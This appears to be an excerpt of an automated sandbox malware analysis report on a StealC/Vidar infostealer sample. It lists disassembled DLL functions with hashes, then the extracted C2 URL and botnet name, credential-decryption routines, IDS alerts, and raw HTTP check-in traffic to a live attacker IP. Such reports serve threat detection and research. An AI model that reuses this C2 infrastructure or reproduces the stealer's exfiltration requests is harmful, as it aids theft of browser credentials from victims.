memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB164A9

Part of subcall function 6CB0FA80: GetCurrentThreadId.KERNEL32 ref: 6CB0FA8D
Part of subcall function 6CB0FA80: AcquireSRWLockExclusive.KERNEL32(6CB5F448), ref: 6CB0FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1653F
free.MOZGLUE(?), ref: 6CB1655A

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: f028a5dc8d6601f8e82bb6d24b7c3f47bfeda514127695e6e3bdf9fb941a75d6
Instruction ID: 6e494324d18a2d0ff9a15684dc924b9a2fea3848331a8a177d0472a2c996b698
Opcode Fuzzy Hash: f028a5dc8d6601f8e82bb6d24b7c3f47bfeda514127695e6e3bdf9fb941a75d6
Instruction Fuzzy Hash: 263190B5A083459FD704CF14D880AAEBBF4FF88314F40842EE89A87740DB34E909CB92

Function 6CAEB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAEB4F5
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAEB502
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAEB542
free.MOZGLUE(?), ref: 6CAEB578

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 675a7e9a55b0eafaf7a326d167c57bed58f7deb4eb0f2bc0046dd25db5b055b2
Instruction ID: 3ef97174df7ce5fd851f1c51ddbb3536b3be93eda9d8355796f600954c32ad6f
Opcode Fuzzy Hash: 675a7e9a55b0eafaf7a326d167c57bed58f7deb4eb0f2bc0046dd25db5b055b2
Instruction Fuzzy Hash: 13110330A04B41C7E7128F29D5047A2B3B0FF9A318F98970AE84A53A01EBB0B1C5C7E4

Function 6CB13DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CADF20E,?), ref: 6CB13DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CADF20E,00000000,?), ref: 6CB13DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB13E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB13E0E

Part of subcall function 6CB0CC00: GetCurrentProcess.KERNEL32(?,?,6CAD31A7), ref: 6CB0CC0D
Part of subcall function 6CB0CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAD31A7), ref: 6CB0CC16

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: abb2a3061fb0d94433302eede38147e1a72cc0416cd8edfce3593febd002ed36
Instruction ID: be779c5c6fdbad543df7a3d980d8460076858acf141dcdce0da715b183c46b22
Opcode Fuzzy Hash: abb2a3061fb0d94433302eede38147e1a72cc0416cd8edfce3593febd002ed36
Instruction Fuzzy Hash: 3DF012B16002487BDB01AF54DC41DAF376DDB46624F444020FD0857741D775BE1996F7

Function 6CB285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB285D3

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB28725

Strings

map/set<T> too long, xrefs: 6CB28720

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 986cc30ed85de555caf1c1744610bccd48407bba8436d6ac9b7d45bbf3c0cb19
Instruction ID: 55380471830fa0dc8dc39c9607a6ee9d6acc71ab22c06cd447361784d82e22a6
Opcode Fuzzy Hash: 986cc30ed85de555caf1c1744610bccd48407bba8436d6ac9b7d45bbf3c0cb19
Instruction Fuzzy Hash: 095168756006818FD702CF18C184A69BBF1FF59318F18C18AD85D5BB62C33AE885CF92

Function 6CADBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CADBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADBE8F

Strings

0, xrefs: 6CADBE5B

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 7bd927873fd89758302fc8bdfde532ffedd7269becaa8b9c74244b028222b2f6
Instruction ID: 1289b93f012904a126c365b9a30188c29999410f50b6df3f3b1dc40c1d55ff05
Opcode Fuzzy Hash: 7bd927873fd89758302fc8bdfde532ffedd7269becaa8b9c74244b028222b2f6
Instruction Fuzzy Hash: 3B418F71909745CFC701CF28D481A9BBBF4AF8A348F018B1DF985A7611DB30E9998B82

Function 6CB13CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB13D19
mozalloc_abort.MOZGLUE(?), ref: 6CB13D6C

Strings

d, xrefs: 6CB13D58

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 2d56504509bb1ae9890480cfebdfcecb2f34adbe5e4e7328e1417b23a22e3b6f
Instruction ID: ffd51f3863e45526cb16759b0aa9d5e4223a2f528e9f939c4857a86e095c710c
Opcode Fuzzy Hash: 2d56504509bb1ae9890480cfebdfcecb2f34adbe5e4e7328e1417b23a22e3b6f
Instruction Fuzzy Hash: 99110171E186D89BDB019F69C8154EEB775EF86218B848228EC449BA02FB30A5C4C790

Function 6CB36DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB36E22
__Init_thread_footer.LIBCMT ref: 6CB36E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB36E1D

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 9997b129d36a00bf3a0c2b0dd8e7fa9cca27bf0be8a41dd98c018665dfb327f2
Instruction ID: 316c24abf1f1afb2cbbfc6504ffddd8475ff54637787912645425894ebd3c52c
Opcode Fuzzy Hash: 9997b129d36a00bf3a0c2b0dd8e7fa9cca27bf0be8a41dd98c018665dfb327f2
Instruction Fuzzy Hash: 71F09739B042D0CBDB008FA8C850A9EF772F703228F8811A5C80887BE1C730B51ACE93

Function 6CAE9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAE9EEF

Strings

Infinity, xrefs: 6CAE9EB7
NaN, xrefs: 6CAE9EC1

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 1de757a7d2bb9fb73c0c25354a2da84ce59266b1c0b4038af00bba2e3584bba3
Instruction ID: b081f057546540097d70315b47fd1e01b4dc8b12a99a0a22a985d492f3a3c161
Opcode Fuzzy Hash: 1de757a7d2bb9fb73c0c25354a2da84ce59266b1c0b4038af00bba2e3584bba3
Instruction Fuzzy Hash: 38F0CDB16003A1CBDB009F68D949BB9B771B70B318FA40A98C6040BBC0D3356596CAC2

Function 6CAEBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CAEBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CAEBEF5

Strings

cryptbase.dll, xrefs: 6CAEBEF0

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 9728d794b62620d5217e5002deb8827cc499fa187497008d0a828ffa04e1f2df
Instruction ID: e7fa2adf1123dfcdfa4bf6ec59beed92e7dbfd402999a689512667c14ed19ce9
Opcode Fuzzy Hash: 9728d794b62620d5217e5002deb8827cc499fa187497008d0a828ffa04e1f2df
Instruction Fuzzy Hash: BAD0A932380208EACA00AEA09C0AB293BB8A70A725F94C420F30585851C7B0A4A0DF88

Function 6CB2B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B628

Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB290FF
Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB29108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB2B2C9,?,?,?,6CB2B127,?,?,?,?,?,?,?,?,?,6CB2AE52), ref: 6CB2B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB2B127,?,?,?,?,?,?,?,?), ref: 6CB2B74D

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9a502952e8652031452496e464b3f839248af5ca262aae13a68fe543402694a0
Instruction ID: a6122d0398a0a5d00dd4fdda7db45b0413079bdb90a5af82390de2c99bbb886e
Opcode Fuzzy Hash: 9a502952e8652031452496e464b3f839248af5ca262aae13a68fe543402694a0
Instruction Fuzzy Hash: A951B071A052568FDB14CF18C980B6EB7B5FF49304F59852DC89FAB710DB39A804CBA1

Function 6CB3B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAE0A4D), ref: 6CB3B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAE0A4D), ref: 6CB3B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAE0A4D), ref: 6CB3B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAE0A4D), ref: 6CB3B67F

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 3772ad7b1ade34a44cd3f108135a4faea5ed73a22fed253691b59d8014d97053
Instruction ID: c039eb777d225e45925f9a373176a89b441be459cd7d3a3eb057256664b3d959
Opcode Fuzzy Hash: 3772ad7b1ade34a44cd3f108135a4faea5ed73a22fed253691b59d8014d97053
Instruction Fuzzy Hash: B831D471B016268FDB10CF58CC4465AFBBAFF85314F5A8569C80E9B20ADB31E915CBA1

Function 6CB0F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB0F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB0F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0F668

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: da519cb65f4f54f14df2a6ed57246dfec65ff54ba12b7719bb156dee23131e03
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: B9313E71B00654AFC714CF59CCC0A9F7BB6EB84758B148539EA4A8BB09D631ED448B98

Function 6CB226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB226C1
free.MOZGLUE(?), ref: 6CB226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB226FF
free.MOZGLUE ref: 6CB2270D

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 81186e54182339102be8844f8f394fd6f06c86d990681135759a279035635edd
Instruction ID: a74f9be01a254d0653a0739484d75652bc0e2dda296c972f2f2ee81053014aa3
Opcode Fuzzy Hash: 81186e54182339102be8844f8f394fd6f06c86d990681135759a279035635edd
Instruction Fuzzy Hash: 29F0F9B27012405BE7019E18DC88D6773ADEF55228B540035EA1EC3B01E335F959C793

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 1.2.file.exe.e20000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 1.2.file.exe.e20000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E29B60 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_00E29B60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E2C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	1_2_00E2C820
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E29AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00E29AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E27240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	1_2_00E27240
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00E38EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	1_2_00E38EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAE6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6CAE6C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49712 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49712 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.6:49712
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49712 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.6:49712
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49712 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 39 45 39 32 35 44 30 42 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="hwid"4B9E925D0BAE1301979414------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="build"doma------DGHIECGCBKFHIEBGHDBK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGDAAKFHIEHIECAFBAAHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 31 35 63 34 30 38 37 30 30 31 66 38 36 65 66 30 32 38 63 39 33 66 32 32 33 33 64 61 31 63 39 61 37 32 65 62 33 32 34 65 32 37 61 35 32 31 30 63 33 64 35 31 35 62 30 36 64 34 30 35 37 35 62 31 36 64 62 63 66 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 44 41 41 4b 46 48 49 45 48 49 45 43 41 46 42 41 41 2d 2d 0d 0a Data Ascii: ------IDGDAAKFHIEHIECAFBAAContent-Disposition: form-data; name="token"7c15c4087001f86ef028c93f2233da1c9a72eb324e27a5210c3d515b06d40575b16dbcf0------IDGDAAKFHIEHIECAFBAAContent-Disposition: form-data; name="message"browsers------IDGDAAKFHIEHIECAFBAA--
